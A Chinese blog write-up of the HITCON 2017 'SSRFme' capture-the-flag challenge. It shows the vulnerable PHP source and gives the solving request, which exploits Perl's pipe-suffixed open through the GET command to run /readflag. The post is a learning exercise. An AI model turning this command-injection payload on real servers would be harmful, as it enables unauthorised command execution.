[HITCON 2017]SSRFme pathinfo()返回一个数组&Linux命令Perl漏洞(后面加一个|可以命令执行)

进去一个代码审计:

x.x.x.x <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

还是老样子,先根据remote_addr创建一个目录:sandbox/md5()

看代码要上传两个参数,一个是url,一个是filename,先说filename,pathinfo($filename)返回一个数组给$info,数组里面有一项dirname,返回的是目录(不包括脚本名),然后再在原来创建的沙箱下再建一个目录,并进入这个目录,然后把$data写进$info["basename"]里。

再说说$data,$data是shell_exec()命令执行的返回,GET 这个格式好像是什么perl,也不太了解。

 

传参:

?url=file:bash -c /readflag|&filename=wuhu

perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠 |)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。

 

并且将命令的执行结果作为这个文件的内容写入,根据代码逻辑,命令执行的结果除了写入该命令同名文件里,也会写到生成的沙箱的目录的文件中,地址栏访问就行了

 

posted @ 2022-07-20 01:30  Galio  阅读(34)  评论(0编辑  收藏  举报